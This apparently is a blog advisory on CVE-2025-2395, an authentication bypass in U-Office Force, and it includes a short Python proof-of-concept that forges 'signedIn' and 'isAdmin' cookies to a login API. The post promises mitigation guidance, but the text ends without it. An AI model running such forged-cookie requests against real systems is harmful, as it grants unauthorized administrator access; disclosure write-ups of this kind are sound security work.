CVE-2025-2395 - U-Office Force from e-Excellence Improper Authentication Vulnerability

A critical vulnerability has been discovered in the U-Office Force from e-Excellence which enables remote attackers to exploit an Improper Authentication issue that could grant access to administrator privileges through a vulnerable API and tampering with cookies. This post aims to provide a comprehensive analysis of the vulnerabilities linked to CVE-2025-2395, its potential impact, and ways to mitigate or patch it.

Vulnerability Details

Improper Authentication in the U-Office Force software allows remote attackers to access and manipulate multiple components of the application/UI without proper authorization. This can be achieved by tampering with the cookies associated with the user session and remotely sending altered or manipulated requests to a specific vulnerable API.

The vulnerability, CVE-2025-2395, allows attackers to log in as an administrator and gain control over the U-Office Force application, potentially allowing them to steal sensitive information, make unauthorized changes, or even cause a complete disruption of the services provided by the application.

Exploit Details

For a better understanding, let's analyze a simple piece of code that demonstrates exploiting the improper authentication issue in the vulnerable API endpoint:

import requests

target_url = "http://target-uoffice-force.com/login_api";

malicious_cookie = {"signedIn": "true", "isAdmin": "true"}

response = requests.post(target_url, cookies=malicious_cookie)

if response.status_code == 200:
    print("Logged in as Administrator!")
else:
    print("Failed to log in as Administrator")

This Python script sends an HTTP POST request to the target U-Office Force instance's login API (/login_api). The altered malicious_cookie variable contains a tampered "signedIn" and "isAdmin" value, indicating that the user is signed in and has administrator privileges. As a result, once the target API receives this request, it incorrectly identifies the user as an authenticated administrator.
